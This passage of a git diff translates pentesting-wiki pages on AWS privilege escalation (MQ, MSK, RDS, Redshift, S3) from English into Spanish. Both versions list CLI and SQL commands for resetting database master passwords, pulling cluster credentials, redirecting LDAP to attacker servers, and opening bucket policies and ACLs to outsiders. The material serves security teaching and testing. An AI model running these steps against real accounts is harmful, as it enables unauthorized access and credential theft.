rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` - -## References +## Referencias - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 80890e389..1089e0be5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -For more information about MQ check: +Para más información sobre MQ, consulta: {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,42 +12,32 @@ For more information about MQ check: ### `mq:ListBrokers`, `mq:CreateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Con esos permisos puedes **crear un nuevo usuario en un broker de ActimeMQ** (esto no funciona en RabbitMQ): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Impacto Potencial:** Acceso a información sensible navegando a través de ActiveMQ ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Con esos permisos puedes **crear un nuevo usuario en un broker de ActiveMQ** (esto no funciona en RabbitMQ): ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Impacto Potencial:** Acceso a información sensible navegando a través de ActiveMQ ### `mq:ListBrokers`, `mq:UpdateBroker` -If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**. - +Si un broker está utilizando **LDAP** para la autorización con **ActiveMQ**. Es posible **cambiar** la **configuración** del servidor LDAP utilizado a **uno controlado por el atacante**. De esta manera, el atacante podrá **robar todas las credenciales que se envían a través de LDAP**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` +Si de alguna manera pudieras encontrar las credenciales originales utilizadas por ActiveMQ, podrías realizar un MitM, robar las credenciales, usarlas en el servidor original y enviar la respuesta (quizás solo reutilizando las credenciales robadas podrías hacer esto). -If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this). - -**Potential Impact:** Steal ActiveMQ credentials +**Impacto Potencial:** Robar credenciales de ActiveMQ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index f0538785f..e290814e4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -For more information about MSK (Kafka) check: +Para más información sobre MSK (Kafka) consulta: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,17 +12,11 @@ For more information about MSK (Kafka) check: ### `msk:ListClusters`, `msk:UpdateSecurity` -With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them. - +Con estos **privilegios** y **acceso a la VPC donde están los brokers de kafka**, podrías agregar la **autenticación Ninguna** para acceder a ellos. ```bash aws msk --client-authentication --cluster-arn --current-version ``` - -You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\ -If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it. +Necesitas acceso a la VPC porque **no puedes habilitar la autenticación None con Kafka expuesto públicamente**. Si está expuesto públicamente, si se utiliza la autenticación **SASL/SCRAM**, podrías **leer el secreto** para acceder (necesitarás privilegios adicionales para leer el secreto).\ +Si se utiliza la autenticación **basada en roles de IAM** y **kafka está expuesto públicamente**, aún podrías abusar de estos privilegios para darte permisos para acceder. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 7d43bbd3b..6d1fb23f4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -2,21 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Organizations +## Organizaciones -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -## From management Account to children accounts +## De la cuenta de gestión a las cuentas hijas -If you compromise the root/management account, chances are you can compromise all the children accounts.\ -To [**learn how check this page**](../#compromising-the-organization). +Si comprometes la cuenta raíz/gestión, es probable que puedas comprometer todas las cuentas hijas.\ +Para [**aprender cómo, consulta esta página**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index b4a08093e..24dcdf3ec 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - Servicio de Base de Datos Relacional -For more information about RDS check: +Para más información sobre RDS consulta: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,59 +12,54 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -With that permission an attacker can **modify the password of the master user**, and the login inside the database: - +Con ese permiso, un atacante puede **modificar la contraseña del usuario maestro**, y el inicio de sesión dentro de la base de datos: ```bash # Get the DB username, db name and address aws rds describe-db-instances # Modify the password and wait a couple of minutes aws rds modify-db-instance \ - --db-instance-identifier \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # In case of postgres psql postgresql://:@:5432/ ``` - > [!WARNING] -> You will need to be able to **contact to the database** (they are usually only accessible from inside networks). +> Necesitarás poder **contactar a la base de datos** (generalmente solo son accesibles desde redes internas). -**Potential Impact:** Find sensitive info inside the databases. +**Impacto Potencial:** Encontrar información sensible dentro de las bases de datos. ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +Según la [**documentación**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un usuario con este permiso podría conectarse a la instancia de DB. -### Abuse RDS Role IAM permissions +### Abuso de permisos de rol IAM de RDS #### Postgresql (Aurora) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. - -First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions: +> Si al ejecutar **`SELECT datname FROM pg_database;`** encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una **base de datos postgresql de AWS**. +Primero puedes verificar si esta base de datos ha sido utilizada para acceder a algún otro servicio de AWS. Podrías comprobar esto mirando las extensiones instaladas: ```sql SELECT * FROM pg_extension; ``` +Si encuentras algo como **`aws_s3`** puedes asumir que esta base de datos tiene **algún tipo de acceso sobre S3** (hay otras extensiones como **`aws_ml`** y **`aws_lambda`**). -If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**). - -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has. - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes ver allí si el **clúster tiene algún rol de IAM adjunto** en el campo **`AssociatedRoles`**. Si hay alguno, puedes asumir que la base de datos fue **preparada para acceder a otros servicios de AWS**. Basado en el **nombre del rol** (o si puedes obtener los **permisos** del rol) podrías **adivinar** qué acceso adicional tiene la base de datos. +Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con: ```sql // Create table CREATE TABLE ttemp (col TEXT); // Create s3 uri SELECT aws_commons.create_s3_uri( - 'test1234567890678', // Name of the bucket - 'data.csv', // Name of the file - 'eu-west-1' //region of the bucket +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket ) AS s3_uri \gset // Load file contents in table @@ -76,98 +71,81 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` - -If you had **raw AWS credentials** you could also use them to access S3 data with: - +Si tuvieras **credenciales de AWS en bruto** también podrías usarlas para acceder a datos de S3 con: ```sql SELECT aws_s3.table_import_from_s3( - 't', '', '(format csv)', - :'s3_uri', - aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` - > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** to be able to access S3. +> Postgresql **no necesita cambiar ninguna variable del grupo de parámetros** para poder acceder a S3. #### Mysql (Aurora) > [!TIP] -> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**. +> Dentro de un mysql, si ejecutas la consulta **`SELECT User, Host FROM mysql.user;`** y hay un usuario llamado **`rdsadmin`**, puedes asumir que estás dentro de una **base de datos mysql de AWS RDS**. -Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data. +Dentro del mysql ejecuta **`show variables;`** y si las variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, tienen valores, puedes asumir que la base de datos está preparada para acceder a datos de S3. -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services). - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes verificar si el clúster tiene algún **rol asociado**, lo que generalmente significa acceso a servicios de AWS). +Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); SELECT * FROM ttemp; DROP TABLE ttemp; ``` - ### `rds:AddRoleToDBCluster`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. - +Un atacante con los permisos `rds:AddRoleToDBCluster` y `iam:PassRole` puede **agregar un rol específico a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**Impacto Potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS.\ +Tenga en cuenta que algunas bases de datos requieren configuraciones adicionales, como Mysql, que necesita especificar el ARN del rol en los grupos de parámetros también. ### `rds:CreateDBInstance` -Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet: - +Solo con este permiso, un atacante podría crear una **nueva instancia dentro de un clúster** que ya existe y tiene un **rol IAM** adjunto. No podrá cambiar la contraseña del usuario maestro, pero podría exponer la nueva instancia de base de datos a Internet: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ - --db-instance-identifier mydbinstance2 \ - --db-instance-class db.t3.medium \ - --engine aurora-postgresql \ - --db-cluster-identifier database-1 \ - --db-security-groups "string" \ - --publicly-accessible +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible ``` - ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] > TODO: Test -An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. +Un atacante con los permisos `rds:CreateDBInstance` y `iam:PassRole` puede **crear una nueva instancia de RDS con un rol especificado adjunto**. El atacante puede entonces potencialmente **acceder a datos sensibles** o modificar los datos dentro de la instancia. > [!WARNING] -> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - The profile must exist in your account. -> - The profile must have an IAM role that Amazon EC2 has permissions to assume. -> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . +> Algunos requisitos del rol/perfil de instancia para adjuntar (de [**aquí**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> - El perfil debe existir en tu cuenta. +> - El perfil debe tener un rol de IAM que Amazon EC2 tenga permisos para asumir. +> - El nombre del perfil de instancia y el nombre del rol de IAM asociado deben comenzar con el prefijo `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Impacto Potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. +Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **agregar un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia. > [!WARNING] -> The DB instance must be outside of a cluster for this - +> La instancia de base de datos debe estar fuera de un clúster para esto. ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Impacto Potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 825c16ad6..1dfc9138c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -4,7 +4,7 @@ ## Redshift -For more information about RDS check: +Para más información sobre RDS consulta: {{#ref}} ../aws-services/aws-redshift-enum.md @@ -12,52 +12,45 @@ For more information about RDS check: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it: - +Con estos permisos puedes obtener **información de todos los clusters** (incluyendo el nombre y el nombre de usuario del cluster) y **obtener credenciales** para acceder a él: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Impacto Potencial:** Encontrar información sensible dentro de las bases de datos. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -With these permissions you can get **info of all the clusters** and **get credentials** to access it.\ -Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has. - +Con estos permisos puedes obtener **información de todos los clústeres** y **obtener credenciales** para acceder a ellos.\ +Ten en cuenta que el usuario postgres tendrá los **permisos que la identidad IAM** utilizada para obtener las credenciales tiene. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Impacto Potencial:** Encontrar información sensible dentro de las bases de datos. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet): - +Es posible **modificar la contraseña maestra** del usuario interno postgres (redshit) desde aws cli (creo que esos son los permisos que necesitas, pero aún no los he probado): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` +**Impacto Potencial:** Encontrar información sensible dentro de las bases de datos. -**Potential Impact:** Find sensitive info inside the databases. - -## Accessing External Services +## Accediendo a Servicios Externos > [!WARNING] -> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned. +> Para acceder a todos los recursos siguientes, necesitarás **especificar el rol a utilizar**. Un clúster de Redshift **puede tener asignada una lista de roles de AWS** que puedes usar **si conoces el ARN** o simplemente puedes establecer "**default**" para usar el predeterminado asignado. -> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> Además, como [**se explica aquí**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift también permite concatenar roles (siempre que el primero pueda asumir el segundo) para obtener acceso adicional, pero solo **separándolos** con una **coma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: - +Como se explica en [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), es posible **llamar a una función lambda desde redshift** con algo como: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -65,11 +58,9 @@ STABLE LAMBDA 'lambda_function' IAM_ROLE default; ``` - ### S3 -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**: - +Como se explica en [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), es posible **leer y escribir en los buckets de S3**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -82,30 +73,23 @@ unload ('select * from venue') to 's3://mybucket/tickit/unload/venue_' iam_role default; ``` - ### Dynamo -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**: - +Como se explica en [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), es posible **obtener datos de dynamodb**: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` - > [!WARNING] -> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located. +> La tabla de Amazon DynamoDB que proporciona los datos debe ser creada en la misma región de AWS que tu clúster, a menos que utilices la opción [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) para especificar la región de AWS en la que se encuentra la tabla de Amazon DynamoDB. ### EMR -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Consulta [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0af161cbc..8e68af364 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,117 +6,112 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges. - -For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: +Un atacante con esos permisos sobre buckets interesantes podría ser capaz de secuestrar recursos y escalar privilegios. +Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar la implementación. El acceso se puede otorgar con la siguiente política: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:PutBucketNotification", - "s3:GetBucketNotification", - "s3:PutObject", - "s3:GetObject" - ], - "Resource": [ - "arn:aws:s3:::cf-templates-*/*", - "arn:aws:s3:::cf-templates-*" - ] - }, - { - "Effect": "Allow", - "Action": "s3:ListAllMyBuckets", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] } ``` - -And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. +Y el secuestro es posible porque hay una **pequeña ventana de tiempo desde el momento en que se carga la plantilla** en el bucket hasta el momento en que la **plantilla se despliega**. Un atacante podría simplemente crear una **función lambda** en su cuenta que se **active cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**. ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ -For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +El módulo de Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) se puede utilizar para automatizar este ataque.\ +Para más información, consulta la investigación original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ -An attacker with **read access** to them might find **sensitive information** on them.\ -An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ -These are some examples: +Estos son los permisos para **obtener y cargar objetos en S3**. Varios servicios dentro de AWS (y fuera de él) utilizan almacenamiento S3 para guardar **archivos de configuración**.\ +Un atacante con **acceso de lectura** a ellos podría encontrar **información sensible** en ellos.\ +Un atacante con **acceso de escritura** a ellos podría **modificar los datos para abusar de algún servicio e intentar escalar privilegios**.\ +Estos son algunos ejemplos: -- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +- Si una instancia de EC2 está almacenando los **datos del usuario en un bucket S3**, un atacante podría modificarlo para **ejecutar código arbitrario dentro de la instancia EC2**. ### `s3:PutBucketPolicy` -An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. - +Un atacante, que necesita ser **de la misma cuenta**, si no, se activará el error `The specified method is not allowed`, con este permiso podrá otorgarse más permisos sobre el/los bucket(s) permitiéndole leer, escribir, modificar, eliminar y exponer buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ## JSON giving permissions to a user and mantaining some previous root access { - "Id": "Policy1568185116930", - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:root" - }, - "Action":"s3:ListBucket", - "Resource":"arn:aws:s3:::somebucketname" - }, - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:user/username" - }, - "Action":"s3:*", - "Resource":"arn:aws:s3:::somebucketname/*" - } - ] +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] } ## JSON Public policy example ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } ``` - ### `s3:GetBucketAcl`, `s3:PutBucketAcl` -An attacker could abuse these permissions to **grant him more access** over specific buckets.\ -Note that the attacker doesn't need to be from the same account. Moreover the write access - +Un atacante podría abusar de estos permisos para **otorgarse más acceso** sobre buckets específicos.\ +Tenga en cuenta que el atacante no necesita ser de la misma cuenta. Además, el acceso de escritura ```bash # Update bucket ACL aws s3api get-bucket-acl --bucket @@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -An attacker could abuse these permissions to grant him more access over specific objects inside buckets. - +Un atacante podría abusar de estos permisos para otorgarse más acceso sobre objetos específicos dentro de los buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - 